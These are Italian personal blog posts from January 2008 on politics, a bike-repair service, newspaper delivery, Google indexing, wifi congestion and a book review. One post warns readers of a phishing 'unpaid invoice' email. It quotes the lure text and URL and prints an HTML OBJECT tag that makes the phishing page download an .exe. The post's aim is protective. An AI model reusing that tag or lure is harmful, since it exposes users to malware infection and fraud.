Macché crisi e crisi!

Le prime pagine di tutti i giornali continuano a rilanciare notizie sulla crisi di governo (ah, Prodi si è quasi scocciato del tutto, se chiederà esplicitamente la fiducia. Solo “quasi”, perché va prima alla Camera dove dovrebbe comunque averla…). Poi, se si va sulle pagine molto interne, si può ad esempio leggere questo. C’era una legge, fatta da nemmeno tre mesi, che vietava alle discoteche di vendere alcolici dopo le due di notte. Ma l’Italia è il paese delle leggi, e improvvisamente si è risvegliato l’iter della legge di riforma sulla sicurezza stradale. In un sussulto di decisionismo, la nuova legge è stata approvata in Commissione Trasporti all’unanimità, e quindi non dovrà passare in parlamento. Peccato però che casualmente non ci sia più il divieto di cui sopra. Un pensiero in meno. Ragazzi, sono riusciti a fare protestare contro l’abolizione della norma financo Carlo Giovanardi! Ma vi rendete conto? (no, probabilmente no)
Ho sbagliato tutto dieci anni fa, quando potevo ancora andarmene via dall’Italia senza problemi.

Pronto bici

Ricevo e inoltro (giusto perché si parla di biciclette, lo sapete che ho un debole…)
Pronto Bici è un servizio offerto dalla cooperativa Itacoop, finalizzata all’inserimento al lavoro di persone con una storia di malattia psichica. È una “ciclofficina a domicilio”: chiamando il 346/4754234 si può fare arrivare a domicilio (all’interno del Comune di Milano) qualcuno che ripara sul posto la vostra bicicletta; oppure si possono acquistare bici nuove o usate. Il comunicato stampa completo si può leggere ad esempio qua.

Repubblica porta-a-porta

Mi sembrava strano che dopo l'”offensiva OreSette” del Corsera quelli di Repubblica stessero a guardare. E in effetti stamattina c’è stata quella che almeno in teoria dovrebbe essere la risposta. Però…
Anche in questo caso la copia gratuita è stata consegnata il lunedì mattina. Però l’ignoto consegnante l’ha messa nella buca delle lettere, il che significa che probabilmente nessuno se n’è accorto perché non guarda certo la posta prima di uscire. Se il giornale l’aveva comprato lo stesso (è stato il caso di Anna), la rabbia nel trovarsi una seconda copia la sera secondo me diventa controproducente.
Inoltre non c’è un adesivo, un depliant o qualcosa del genere a pubblicizzare il servizio, ma solo un timbro in alto a sinistra che dice Consegna gratuita / a casa tua entro le 7 / Tel. 02 39 32 55 48. No, non ho pecettato per non fare pubblicità al servizio, che per la precisione non dipende da Repubblica ma è offerto da CityQpoint. Il punto è che chi ha messo il timbro sul giornale non si è accorto che la parte in fondo era illeggibile perché cascava su una fotografia dal colore scuro. In effetti io credevo ci fosse scritto 18, e ho dovuto fare un po’ di ricerche per trovare il nome della società.
Insomma, questa volta il Corsera ha vinto a man bassa!
Aggiornamento: (23 gennaio) forse mi hanno in parte ascoltato. Anche ieri c’era il giornale in buca (e quindi Anna non l’ha visto quando è uscita), però il timbro era piazzato meglio e il numero di telefono si leggeva perfettamente. Stamattina però la teorica pacchia è finita.

Cossighiade

Io ho un cruccio: che Francesco Cossiga, presidente emerito degli italiani, non abbia un blog in cui postare tutte le sue esternazioni. Non so cosa gli diano per tenerlo su così, ma leggerlo è sempre un’epifania. Ecco la sua dichiarazione odierna, dopo che Mastella ha detto che avrebbe lasciato il governo:
“L’uscita dalla maggioranza dell’Udeur è da un punto di vista costituzionale irrilevante ai fini della sopravvivenza del governo. Secondo la Costituzione, il governo può essere rovesciato solo da un’apposita mozione di sfiducia, collettiva e non individuale”. Lo rileva l’ex presidente della Repubblica Francesco Cossiga. “D’altronde – osserva ancora Cossiga – l’uscita dalla maggioranza non comporta neanche il rimpasto di governo, perché l’Udeur al governo non ha più nessuno. D’altronde, per presentare una mozione di sfiducia al Senato occorrerebbe un numero di firme che i senatori dell’Udeur, essendo tre, non hanno, e certamente non saranno né Forza Italia, né l’Udc, che ormai è a un passo dall’entrare nella maggioranza, né An a firmare detta mozione”. “Il consiglio che posso dare al presidente del Consiglio Romano Prodi – conclude Cossiga – è ‘resistere, resistere, resistere’, e a tal fine nominare come ministro della Giustizia colui che ha inventato questo slogan, l’ex procuratore capo di Milano Francesco Saverio Borrelli”
In pratica, ha sbertucciato quelli dell’Udeur dando loro dell’irrilevante. Ha immediatamente tarpato eventuali aspettative dell’UDC – che forse c’erano davvero: se Casini ha detto “subito al Colle” e non “subito la fiducia”, significa che non vuole un voto di sfiducia esplicito. Infine ha detto a Prodi che tanto non otterrà nulla. D’altra parte la mia sensazione è che la maggior parte dei politici sta pensando a rivotare con il Porcellum; la Camera ribalterà la maggioranza, ma al Senato la situazione sarà più o meno simmetrica, e quindi sta preparandosi per gli inciuci successivi.
Insomma, Cossiga for President! Ah, c’è già stato? Vabbè, non sottilizziamo…

La rapidità di Google

La prima versione della notiziola precedente è stata pubblicata alle 14:25 (non guardate l’ora indicata: è quella in cui ho iniziato a scriverla). La prima persona che l’ha letta è un mio lettore abituale, a giudicare dai log di lloogg – non so chi sia, e comunque non lo direi – alle 14:32. La prima persona che l’ha letta come risultato di una ricerca su google è arrivata alle 15:02; poi ce ne sono stati parecchi, ma questo lo immaginavo, ho scritto la notiziola apposta per avvisare e rassicurare la gente.
Quello che non mi immaginavo è che Google si prende la briga di verificare se questo blog ultraperiferico è stato aggiornato con una frequenza assolutamente incredibile. Sì, potrebbe esserci stato il colpo di fortuna che il giro del suo ragno stava giusto passando da me, ma già in altri casi avevo notato che l’aggiornamento avveniva in poche ore. Se ci pensate, la cosa fa davvero paura.

Attenti alle fatture

Anna mi ha appena passato un minaccioso messaggio che le era arrivato per email. Il testo è il seguente:
Subject: Avviso di insoluto su Fattura
Gentile Cliente,
Da un nostro controllo contabile non ci risulta a tutt'oggi il pagamento della fattura P.N. 335624-1 dell'importo di Euro 4.329,50.
Se la fattura risulta gia saldata o se ritiene possa sussistere un errore cotabile la invito a prendere visione del conto da pagare attraverso il nostro:
www.avvocati-ass.com/Fatturazione_CEF/FTR-335624.html ( clicca per collegarti )
In difetto, provvederò ad agire nelle sedi opportune, senza ulteriore preavviso.
Distinti saluti.
Dott.Avv. Giancarlo Gentiloni
I miei affezionati lettori avranno immediatamente notato i due errori di grammatica (“gia saldata” ed “errore cotabile“) e avranno capito che si tratta di un phishing. In effetti, cliccando sul link, esce una pagina dal titolo intimidente ATTO DI DIFFIDA E MESSA IN MORA e l’immagine di una pagina rimpicciolita in modo che non possa leggerla. Se avete un PC windows, non provate a cliccare né sulla pagina né sulla scritta “ingrandisci”, visto che verrebbe immediatamente scaricato un file .exe che non voglio affatto sapere cosa faccia.
Inoltre, guardando il sorgente di quella pagina, c’è anche il codice seguente: <OBJECT CLASSID="CLSID:F16FEB0E-2A86-4228-AFF1-E7500263A51F" CODEBASE="Fatt56563A.exe" width="1" height="1"></OBJECT> che potrebbe dare dei guai anche senza cliccare su quelle immagini, solo aprendo la pagina di cui sopra. Non dite che non vi ho avvertiti!
ps: se uno va a fare un controllo whois sul nome a dominio avvocati-ass.com, scopre che è stato registrato attraverso una società californiana che nasconde il nome del gestore vero e proprio, e soprattutto scopre che è stato registrato sabato pomeriggio scorso: Creation date: 19 Jan 2008 14:27:36. Se poi si vuole divertire, può andare alla pagina di informazioni, dove scopre – ma non c’è nulla di strano – che il sito è cinese… Il curiosone può anche andare all’indirizzo IP corrispondente e vedere un po’ di ideogrammi che Babelfish mi traduce più o meno come “il tuo sito non è stato ben configurato”. Ma forse quando voi leggerete questa mia notiziola, l’IP sarà cambiato: il sito infatti dice che il client può salvare l’indirizzo per non più di tre minuti (il default è da uno a tre giorni :-) )
Aggiornamento: (h 21:50) A quanto pare, questa notiziola mi ha fatto raggiungere nuove vette di contatti, più che i miei pipponi con Ratzi della scorsa settimana. D’altra parte, in questo momento non solo una ricerca per “avvocati-ass.com” riporta il mio blog al primo posto (fregando altri che ne avevano parlato prima di me…), ma non ci sono occorrenze al di fuori del circuito dei blog e dei forum. Quindi nulla dai grandi quotidiani online, ma soprattutto nulla dalle società che si fanno pagare per le loro “soluzioni di sicurezza”. Magari poi i loro prodotti bloccano il troiano, ma per molta gente loro sono la Fonte di Tranquillità, e un avvisino sul loro portale sarebbe stato utile. O no?

Congestione senza fili

La mia connessione wifi continua ad andare su e giù, impedendomi praticamente di vedere una pagina web se non caricandola tre o quattro volte (e per fortuna che non guardo dei video). La lista delle reti wifi mi dà cinque reti oltre la mia, e sono ragionevolmente certo che a quelle reti si aggiunge ad esempio il ripetitore Sky dei miei vicini, che so che usa le stesse frequenze. La cosa peggiore è che c’è qualche sistema che cicla tra i vari canali a disposizione, a giudicare dalle verifiche che ho fatto sul mio router: è esattamente l’equivalente di quelli che continuano a cambiare corsia durante un ingorgo in tangenziale, col risultato che l’ingorgo aumenta ancora di più.
Insomma, viviamo in una congestione perenne.

La grammatica di Dio (libro)

[copertina] Andando a guardare i voti dati dai lettori all’ultima fatica di Stefano Benni (Stefano Benni, La grammatica di Dio, Feltrinelli 2007, pag. 182, € 14, ISBN 978-88-07-01733-9) quello che stupisce è che c’è una polarizzazione estrema: o il libro è amato alla follia, oppure viene considerato un’emerita schifezza. Secondo me la ragione è abbastanza semplice: questo non è il Benni a cui eravamo stati abituati. Anche se il sottotitolo dice “storie di solitudine e di allegria”, di allegria ce n’è davvero poca, qui dentro, e soprattutto i primi racconti (“Boomerang”, con un cane troppo fedele, e “Mai più solo”, dove si vede come i telefonini possano fare male) sono stati davvero pesanti. Aggiungiamo che verso la metà i racconti mi sono sembrati un po’ troppo triti (anche se scritti bene, Benni è sempre Benni) e ammetto che mi è venuta voglia di lasciarlo lì. Fortunatamente ho proseguito: la seconda parte è davvero scoppiettante, con i racconti “Una soluzione civile” su come preparare una guerra civile purificatrice e “La strega” sui problemi di una strega al giorno d’oggi. In definitiva è assolutamente leggibile, basta non partire dai preconcetti su cosa si vorrebbe trovare.